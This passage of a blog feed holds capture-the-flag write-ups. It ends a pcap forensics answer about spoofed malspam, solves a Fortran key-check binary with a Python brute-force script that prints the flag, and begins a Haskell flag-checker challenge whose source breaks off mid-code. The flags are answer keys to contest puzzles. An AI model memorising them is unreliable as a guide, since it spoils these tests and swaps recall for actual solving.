<p><img src="https://isc.sans.edu/diaryimages/images/2021-12-22-ISC-diary-image-06a.jpg" alt /></p>
<p>You can extract these 17 emails using <strong><em>File --&gt; Export Objects --&gt; IMF...</em></strong> as shown below.</p>
<p><img src="https://isc.sans.edu/diaryimages/images/2021-12-22-ISC-diary-image-07a.jpg" alt /></p>
<p>All of these emails are spoofed replies to legitimate email chains collected from previously-infected Windows hosts.  All of these emails have attachments.  Some of the attachments are Excel spreadsheets.  Other attachments are password-protected zip archives.  We can review the emails using an email client. Well, Linux automatically opens ThunderBird or something, so i will go with that.</p>
<p><img src="https://isc.sans.edu/diaryimages/images/2021-12-22-ISC-diary-image-08a.jpg" alt /></p>
<p><strong>Attachment : Excel spreadsheet</strong></p>
<p>And that’s how i successfully managed to solve the forensics challenge.</p>
<p><strong>Images and original solutions/writeups source:</strong></p>
<pre><code class="lang-plaintext">https://isc.sans.edu/diary/December+2021+Forensic+Contest+Answers+and+Analysis/28160
</code></pre>
]]></content:encoded></item><item><title><![CDATA[fORtran Writeup]]></title><description><![CDATA[Solve a Fortran challenge with input validation and key generation, using brute force and exploring mathematical properties]]></description><link>https://prayush.hashnode.dev/fortran-writeup</link><guid isPermaLink="true">https://prayush.hashnode.dev/fortran-writeup</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[Fortran]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[smileyCTF]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Sat, 01 Nov 2025 14:38:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762007689779/906d623a-40aa-4015-969a-4050d8a4b2de.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-provided-binary">Provided Binary:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762007807999/582e1e86-3ba1-47b0-9978-586169fbaff3.png" alt /></p>
<h2 id="heading-challenge-overview"><strong>Challenge Overview</strong></h2>
<p>This was a Fortran reverse engineering challenge called "fORtran" worth 100 points with 88 solves, indicating it was designed to be beginner-friendly. The binary implements a key validation algorithm that reads user input and generates a cryptographic key.</p>
<h2 id="heading-algorithm-analysis"><strong>Algorithm Analysis</strong></h2>
<p>The program follows this exact flow:</p>
<p><strong>Input Validation</strong> (lines 0x55aee82a83e8 - 0x55aee82a8406):</p>
<ul>
<li><p>Reads exactly 24 characters from user input</p>
</li>
<li><p>If input length ≠ 24, program exits with error message</p>
</li>
</ul>
<p><strong>ASCII Sum Calculation</strong> (lines 0x55aee82a84ae - 0x55aee82a8516):</p>
<ul>
<li><p>Iterates through all 24 input characters</p>
</li>
<li><p>Sums their ASCII values into <code>var_e4h</code></p>
</li>
<li><p>This sum becomes the seed for key generation</p>
</li>
</ul>
<p><strong>Key Generation Loop</strong> (lines 0x55aee82a854b - 0x55aee82a85fc):</p>
<ul>
<li><p>Runs exactly 28 iterations (0x1c = 28)</p>
</li>
<li><p>For each iteration:</p>
</li>
<li><p>text</p>
<p>  <code>imul eax, eax, 0x1337 ; multiply sum by 0x1337 xor eax, 0xdeadbeef ; XOR with 0xdeadbeef mov ecx, [table + i*4] ; get value from pre-existing table xor edx, ecx ; XOR low byte with table value</code></p>
</li>
<li><p>Stores each result as a key character</p>
</li>
</ul>
<p><strong>Validation Check</strong> (lines 0x55aee82a860c - 0x55aee82a86f6):</p>
<ul>
<li><p>Each of the 28 generated key values must be printable ASCII (32-126)</p>
</li>
<li><p>If any value is ≤ 31 or &gt; 126, program fails</p>
</li>
<li><p>If all values pass, program prints the 28-character key</p>
</li>
</ul>
<p><strong>Success Output</strong> (lines 0x55aee82a8753 - 0x55aee82a878e):</p>
<ul>
<li><p>Prints each key character individually</p>
</li>
<li><p>This forms the final flag/key</p>
</li>
</ul>
<h2 id="heading-how-we-solved-it"><strong>How We Solved It</strong></h2>
<p><strong>Step 1: Algorithm Reverse Engineering</strong><br />We analyzed the assembly code to understand the exact mathematical operations:</p>
<ul>
<li>Input → ASCII sum → iterative transformation → key validation</li>
</ul>
<p><strong>Step 2: Table Extraction</strong><br />You correctly extracted the 28 pre-existing table values from memory address <code>0x55aee82ab020</code>:</p>
<p>python</p>
<p><code>table_bytes = bytes.fromhex( "bf000000f30000003b00000025000000" "b30000002f000000970000001a000000" # ... (28 total 4-byte values) )</code></p>
<p><strong>Step 3: Brute Force Implementation</strong><br />Your script implemented the forward algorithm:</p>
<ol>
<li><p>Try different ASCII sums (626, 882, 1138, etc.)</p>
</li>
<li><p>Apply the transformation: <code>sum = sum * 0x1337 XOR 0xdeadbeef</code></p>
</li>
<li><p>XOR with table values to generate 28 key characters</p>
</li>
<li><p>Check if all characters are printable ASCII</p>
</li>
</ol>
<p><strong>Step 4: Discovery</strong><br />The script found that multiple ASCII sums produce the same key: <code>.;,;.{t00_e4sy_h4h4_f0rtr4n}</code></p>
<h2 id="heading-key-insights"><strong>Key Insights</strong></h2>
<p><strong>Mathematical Property</strong>: The algorithm has interesting modular arithmetic properties where different input sums can produce identical outputs due to:</p>
<ul>
<li><p>32-bit integer overflow during multiplication</p>
</li>
<li><p>XOR operations creating cycles</p>
</li>
<li><p>The specific table values designed to produce this result</p>
</li>
</ul>
<p><strong>Challenge Design</strong>: The repeated output <code>.;,;.{t00_e4sy_h4h4_f0rtr4n}</code> reveals this was intentionally designed as a beginner challenge:</p>
<ul>
<li><p>"t00_e4sy" = "too easy"</p>
</li>
<li><p>"h4h4" = "haha"</p>
</li>
<li><p>"f0rtr4n" = "fortran"</p>
</li>
</ul>
<p><strong>Solution Method</strong>: Rather than trying to reverse-engineer a specific input, we used brute force to find ANY valid ASCII sum that produces printable output characters. This approach worked because the challenge was designed to have multiple valid solutions.</p>
<p>The final flag is <code>.;,;.{t00_e4sy_h4h4_f0rtr4n}</code> - exactly what your script discovered through systematic brute forcing of the key generation algorithm</p>
<h1 id="heading-the-script">The Script:</h1>
<pre><code class="lang-plaintext">table_bytes = bytes.fromhex(  
   "bf000000f30000003b00000025000000"  
   "b30000002f000000970000001a000000"  
   "d9000000bf000000aa000000a2000000"  
   "a600000055000000c4000000ca000000"  
   "15000000900000009300000051000000"  
   "8b00000034000000410000006e000000"  
   "0b00000024000000f1000000bb000000"  
)  

# Convert to list of 28 integers (little endian)  
table = [int.from_bytes(table_bytes[i:i+4], byteorder="little") for i in range(0, len(table_bytes), 4)]  

def generate_keys_from_sum(ascii_sum):  
   """Generate 28 key values from ASCII sum using the exact algorithm"""  
   keys = []  
   current_sum = ascii_sum  

   for i in range(28):  
       # Apply transformation: multiply by 0x1337, XOR with 0xdeadbeef  
       current_sum = (current_sum * 0x1337) &amp; 0xFFFFFFFF  
       current_sum = current_sum ^ 0xdeadbeef  

       # Get low byte and XOR with table value  
       key_val = (current_sum &amp; 0xFF) ^ (table[i] &amp; 0xFF)  
       keys.append(key_val)  

   return keys  

def is_valid_key(keys):  
   """Check if all key values are printable ASCII (32-126)"""  
   return all(32 &lt;= k &lt;= 126 for k in keys)  

def find_valid_input():  
   """Brute force to find a valid 24-character input"""  

   # Try different ASCII sums by testing various input patterns  
   for base_char in range(32, 127):  # Try different base characters  
       for length_24_pattern in [  
           chr(base_char) * 24,  # All same character  
           (chr(base_char) * 12) + (chr(base_char + 1) * 12),  # Two different chars  
       ]:  
           ascii_sum = sum(ord(c) for c in length_24_pattern)  
           keys = generate_keys_from_sum(ascii_sum)  

           if is_valid_key(keys):  
               key_string = ''.join(chr(k) for k in keys)  
               print(f"Found valid input: {length_24_pattern}")  
               print(f"ASCII sum: {ascii_sum}")  
               print(f"Generated key: {key_string}")  
               return length_24_pattern, key_string  

   # If simple patterns don't work, try brute force on ASCII sums directly  
   print("Trying direct ASCII sum brute force...")  
   for ascii_sum in range(500, 3000):  # Reasonable range for 24 chars  
       keys = generate_keys_from_sum(ascii_sum)  
       if is_valid_key(keys):  
           key_string = ''.join(chr(k) for k in keys)  
           print(f"Found valid ASCII sum: {ascii_sum}")  
           print(f"Generated key: {key_string}")  

           # Try to construct a 24-char input with this sum  
           # Simple approach: use mostly 'a' (97) and adjust last char  
           base_sum = 97 * 23  # 23 'a's  
           last_char = ascii_sum - base_sum  
           if 32 &lt;= last_char &lt;= 126:  
               test_input = 'a' * 23 + chr(last_char)  
               print(f"Possible input: {test_input}")  
               return test_input, key_string  

   print("No valid solution found in range")  
   return None, None  

if __name__ == "__main__":  
   result = find_valid_input()  
   if result[0]:  
       print(f"\nSolution found!")  
       print(f"Input to program: {result[0]}")  
       print(f"Key output: {result[1]}")
</code></pre>
<h3 id="heading-output">Output:</h3>
<pre><code class="lang-bash">└─$ python3 key.py  
Trying direct ASCII sum brute force...  
Found valid ASCII sum: 626  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
Found valid ASCII sum: 882  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
Found valid ASCII sum: 1138  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
Found valid ASCII sum: 1394  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
Found valid ASCII sum: 1650  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
Found valid ASCII sum: 1906  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
Found valid ASCII sum: 2162  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
Found valid ASCII sum: 2418  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
Found valid ASCII sum: 2674  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
Found valid ASCII sum: 2930  
Generated key: .;,;.{t00_e4sy_h4h4_f0rtr4n}  
No valid solution found <span class="hljs-keyword">in</span> range
</code></pre>
<p>FLAG : .;,;.{t00_e4sy_h4h4_f0rtr4n}</p>
]]></content:encoded></item><item><title><![CDATA[Success Writeup]]></title><description><![CDATA[Analyze and solve a Haskell code challenge using Z3 constraints for a unique flag. Learn compilation and execution methods]]></description><link>https://prayush.hashnode.dev/success-writeup</link><guid isPermaLink="true">https://prayush.hashnode.dev/success-writeup</guid><category><![CDATA[smileyCTF]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[Haskell]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Sat, 01 Nov 2025 14:30:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762007117440/694683b5-6de3-4b87-9184-7d65c7cfa870.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-provided-source-file-initially-successhs-was-only-given">Provided Source file (Initially success.hs was only given):</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762007245533/2601db43-0337-45d4-aec4-8cb0d6db6ed4.png" alt /></p>
<h3 id="heading-initial-observation">Initial Observation</h3>
<p>We are given a haskell source code <code>success.hs</code>.</p>
<p>Looking at the source code, it's very messy:</p>
<pre><code class="lang-haskell"><span class="hljs-keyword">import</span> System.Environment (<span class="hljs-title">getArgs</span>)  
<span class="hljs-keyword">import</span> System.Exit (<span class="hljs-title">exitFailure</span>, <span class="hljs-title">exitSuccess</span>)  
<span class="hljs-keyword">import</span> Data.Bits  

<span class="hljs-title">checkFlag</span> :: <span class="hljs-type">String</span> -&gt; <span class="hljs-type">IO</span> ()  
<span class="hljs-title">checkFlag</span> flag = <span class="hljs-keyword">do</span>  
   <span class="hljs-keyword">if</span> length flag /= <span class="hljs-number">39</span>  
       <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
           putStrLn <span class="hljs-string">"bruh its 39 characters long"</span>  
           exitFailure  
       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
           <span class="hljs-keyword">let</span> chars :: [<span class="hljs-type">Integer</span>]  
               chars = map fromIntegral . map fromEnum $ flag  
           <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">37</span>) (chars !! <span class="hljs-number">15</span>) == <span class="hljs-number">3366</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
               <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">8</span>) (chars !! <span class="hljs-number">21</span>) == <span class="hljs-number">197</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                   <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">8</span>) (chars !! <span class="hljs-number">13</span>) == <span class="hljs-number">9215</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                       <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">0</span>) (chars !! <span class="hljs-number">3</span>) == <span class="hljs-number">2714</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                           <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">3</span>) (chars !! <span class="hljs-number">21</span>) == <span class="hljs-number">159</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                               <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">1</span>) (chars !! <span class="hljs-number">20</span>) == <span class="hljs-number">5723</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                   <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">6</span>) (chars !! <span class="hljs-number">37</span>) == <span class="hljs-number">105</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                       <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">11</span>) (chars !! <span class="hljs-number">7</span>) == <span class="hljs-number">11990</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                           <span class="hljs-keyword">if</span> (.&amp;.) (chars !! <span class="hljs-number">29</span>) (chars !! <span class="hljs-number">25</span>) == <span class="hljs-number">100</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                               <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">16</span>) (chars !! <span class="hljs-number">29</span>) == <span class="hljs-number">127</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                   <span class="hljs-keyword">if</span> (-) (chars !! <span class="hljs-number">20</span>) (chars !! <span class="hljs-number">6</span>) == <span class="hljs-number">-8</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">21</span>) (chars !! <span class="hljs-number">20</span>) == <span class="hljs-number">197</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                           <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">2</span>) (chars !! <span class="hljs-number">36</span>) == <span class="hljs-number">77</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                               <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">35</span>) (chars !! <span class="hljs-number">11</span>) == <span class="hljs-number">3630</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                   <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">4</span>) (chars !! <span class="hljs-number">3</span>) == <span class="hljs-number">2714</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                       <span class="hljs-keyword">if</span> xor (chars !! <span class="hljs-number">35</span>) (chars !! <span class="hljs-number">6</span>) == <span class="hljs-number">72</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                           <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">25</span>) (chars !! <span class="hljs-number">24</span>) == <span class="hljs-number">221</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                               <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">14</span>) (chars !! <span class="hljs-number">36</span>) == <span class="hljs-number">3465</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                   <span class="hljs-keyword">if</span> (-) ((-) (chars !! <span class="hljs-number">15</span>) (chars !! <span class="hljs-number">11</span>)) <span class="hljs-number">148</span> == <span class="hljs-number">-156</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">37</span>) (chars !! <span class="hljs-number">17</span>) == <span class="hljs-number">138</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                           <span class="hljs-keyword">if</span> xor (chars !! <span class="hljs-number">1</span>) (chars !! <span class="hljs-number">38</span>) == <span class="hljs-number">70</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                               <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">9</span>) (chars !! <span class="hljs-number">29</span>) == <span class="hljs-number">212</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                   <span class="hljs-keyword">if</span> (-) (chars !! <span class="hljs-number">30</span>) (chars !! <span class="hljs-number">10</span>) == <span class="hljs-number">7</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">10</span>) (chars !! <span class="hljs-number">33</span>) == <span class="hljs-number">206</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                           <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">7</span>) (chars !! <span class="hljs-number">15</span>) == <span class="hljs-number">11118</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                               <span class="hljs-keyword">if</span> (*) ((*) (chars !! <span class="hljs-number">28</span>) (chars !! <span class="hljs-number">14</span>)) <span class="hljs-number">55</span> == <span class="hljs-number">641025</span>  
<span class="hljs-title">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                   <span class="hljs-keyword">if</span> (.|.) ((.|.) (chars !! <span class="hljs-number">7</span>) (chars !! <span class="hljs-number">4</span>)) <span class="hljs-number">216</span> ==  
<span class="hljs-number">255</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">24</span>) (chars !! <span class="hljs-number">4</span>) == <span class="hljs-number">151</span> <span class="hljs-keyword">then</span>  
<span class="hljs-title">do</span>  
                                                                                                                           <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">2</span>) (chars !! <span class="hljs-number">30</span>) == <span class="hljs-number">4928</span>  
<span class="hljs-title">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                               <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">5</span>) (chars !! <span class="hljs-number">22</span>) == <span class="hljs-number">2</span>  
<span class="hljs-number">24</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                   <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">18</span>) (chars !! <span class="hljs-number">3</span>  
<span class="hljs-number">6</span>) == <span class="hljs-number">127</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">13</span>) (chars !!  
<span class="hljs-number">7</span>) == <span class="hljs-number">195</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                           <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">9</span>) (cha  
<span class="hljs-title">rs</span> !! <span class="hljs-number">17</span>) == <span class="hljs-number">111</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                               <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">12</span>) (  
<span class="hljs-title">chars</span> !! <span class="hljs-number">9</span>) == <span class="hljs-number">10403</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                   <span class="hljs-keyword">if</span> xor (chars !! <span class="hljs-number">2</span>  
<span class="hljs-number">8</span>) (chars !! <span class="hljs-number">27</span>) == <span class="hljs-number">23</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                       <span class="hljs-keyword">if</span> xor (chars  
!! <span class="hljs-number">13</span>) (chars !! <span class="hljs-number">34</span>) == <span class="hljs-number">59</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                           <span class="hljs-keyword">if</span> (+) (ch  
<span class="hljs-title">ars</span> !! <span class="hljs-number">18</span>) (chars !! <span class="hljs-number">31</span>) == <span class="hljs-number">200</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                               <span class="hljs-keyword">if</span> (+)  
(chars !! <span class="hljs-number">17</span>) (chars !! <span class="hljs-number">32</span>) == <span class="hljs-number">213</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                                   <span class="hljs-keyword">if</span>  
(*) (chars !! <span class="hljs-number">2</span>) (chars !! <span class="hljs-number">12</span>) == <span class="hljs-number">4444</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

 <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">24</span>) (chars !! <span class="hljs-number">31</span>) == <span class="hljs-number">11025</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

     <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">5</span>) (chars !! <span class="hljs-number">0</span>) == <span class="hljs-number">5658</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

         <span class="hljs-keyword">if</span> (+) ((+) (chars !! <span class="hljs-number">10</span>) (chars !! <span class="hljs-number">32</span>)) <span class="hljs-number">228</span> == <span class="hljs-number">441</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

             <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">35</span>) (chars !! <span class="hljs-number">0</span>) == <span class="hljs-number">1518</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                 <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">30</span>) (chars !! <span class="hljs-number">8</span>) == <span class="hljs-number">113</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                     <span class="hljs-keyword">if</span> (-) (chars !! <span class="hljs-number">28</span>) (chars !! <span class="hljs-number">34</span>) == <span class="hljs-number">11</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                         <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">26</span>) (chars !! <span class="hljs-number">14</span>) == <span class="hljs-number">9975</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                             <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">31</span>) (chars !! <span class="hljs-number">22</span>) == <span class="hljs-number">10605</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                 <span class="hljs-keyword">if</span> (*) ((*) (chars !! <span class="hljs-number">26</span>) (chars !! <span class="hljs-number">32</span>)) <span class="hljs-number">239</span> == <span class="hljs-number">2452140</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                     <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">28</span>) (chars !! <span class="hljs-number">38</span>) == <span class="hljs-number">13875</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                         <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">18</span>) (chars !! <span class="hljs-number">16</span>) == <span class="hljs-number">190</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                             <span class="hljs-keyword">if</span> (+) ((+) (chars !! <span class="hljs-number">27</span>) (chars !! <span class="hljs-number">26</span>)) <span class="hljs-number">96</span> == <span class="hljs-number">290</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                 <span class="hljs-keyword">if</span> (-) (chars !! <span class="hljs-number">22</span>) (chars !! <span class="hljs-number">38</span>) == <span class="hljs-number">-24</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                     <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">33</span>) (chars !! <span class="hljs-number">5</span>) == <span class="hljs-number">224</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                         <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">19</span>) (chars !! <span class="hljs-number">16</span>) == <span class="hljs-number">10355</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                             <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">27</span>) (chars !! <span class="hljs-number">1</span>) == <span class="hljs-number">158</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                                 <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">33</span>) (chars !! <span class="hljs-number">12</span>) == <span class="hljs-number">202</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                                     <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">19</span>) (chars !! <span class="hljs-number">23</span>) == <span class="hljs-number">10355</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                                         putStrLn <span class="hljs-string">"yea go submit the flag"</span>  

                                                                         exitSuccess  

                                                                     <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                                                         putStrLn <span class="hljs-string">"no thats not 10355"</span>  

                                                                         exitFailure  

                                                                 <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                                                     putStrLn <span class="hljs-string">"no thats not 202"</span>  

                                                                     exitFailure  

                                                             <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                                                 putStrLn <span class="hljs-string">"no thats not 158"</span>  

                                                                 exitFailure  

                                                         <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                                             putStrLn <span class="hljs-string">"no thats not 10355"</span>  

                                                             exitFailure  

                                                     <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                                         putStrLn <span class="hljs-string">"no thats not 224"</span>  

                                                         exitFailure  

                                                 <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                                     putStrLn <span class="hljs-string">"no thats not -24"</span>  

                                                     exitFailure  

                                             <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                                 putStrLn <span class="hljs-string">"no thats not 290"</span>  

                                                 exitFailure  

                                         <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                             putStrLn <span class="hljs-string">"no thats not 190"</span>  

                                             exitFailure  

                                     <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                         putStrLn <span class="hljs-string">"no thats not 13875"</span>  

                                         exitFailure  

                                 <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                     putStrLn <span class="hljs-string">"no thats not 2452140"</span>  

                                     exitFailure  

                             <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                                 putStrLn <span class="hljs-string">"no thats not 10605"</span>  

                                 exitFailure  

                         <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                             putStrLn <span class="hljs-string">"no thats not 9975"</span>  

                             exitFailure  

                     <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                         putStrLn <span class="hljs-string">"no thats not 11"</span>  

                         exitFailure  

                 <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                     putStrLn <span class="hljs-string">"no thats not 113"</span>  

                     exitFailure  

             <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

                 putStrLn <span class="hljs-string">"no thats not 1518"</span>  

                 exitFailure  

         <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

             putStrLn <span class="hljs-string">"no thats not 441"</span>  

             exitFailure  

     <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

         putStrLn <span class="hljs-string">"no thats not 5658"</span>  

         exitFailure  

 <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  

     putStrLn <span class="hljs-string">"no thats not 11025"</span>  

     exitFailure  
                                                                                                                                                                   el  
<span class="hljs-title">se</span> <span class="hljs-keyword">do</span>  

 putStrLn <span class="hljs-string">"no thats not 4444"</span>  

 exitFailure  
                                                                                                                                                               <span class="hljs-keyword">else</span> d  
<span class="hljs-title">o</span>  
                                                                                                                                                                   pu  
<span class="hljs-title">tStrLn</span> <span class="hljs-string">"no thats not 213"</span>  
                                                                                                                                                                   ex  
<span class="hljs-title">itFailure</span>  
                                                                                                                                                           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                               putStr  
<span class="hljs-type">Ln</span> <span class="hljs-string">"no thats not 200"</span>  
                                                                                                                                                               exitFa  
<span class="hljs-title">ilure</span>  
                                                                                                                                                       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                           putStrLn <span class="hljs-string">"  
no thats not 59"</span>  
                                                                                                                                                           exitFailur  
<span class="hljs-title">e</span>  
                                                                                                                                                   <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                       putStrLn <span class="hljs-string">"no t  
hats not 23"</span>  
                                                                                                                                                       exitFailure  
                                                                                                                                               <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                   putStrLn <span class="hljs-string">"no thats  
not 10403"</span>  
                                                                                                                                                   exitFailure  
                                                                                                                                           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                                               putStrLn <span class="hljs-string">"no thats not  
111"</span>  
                                                                                                                                               exitFailure  
                                                                                                                                       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
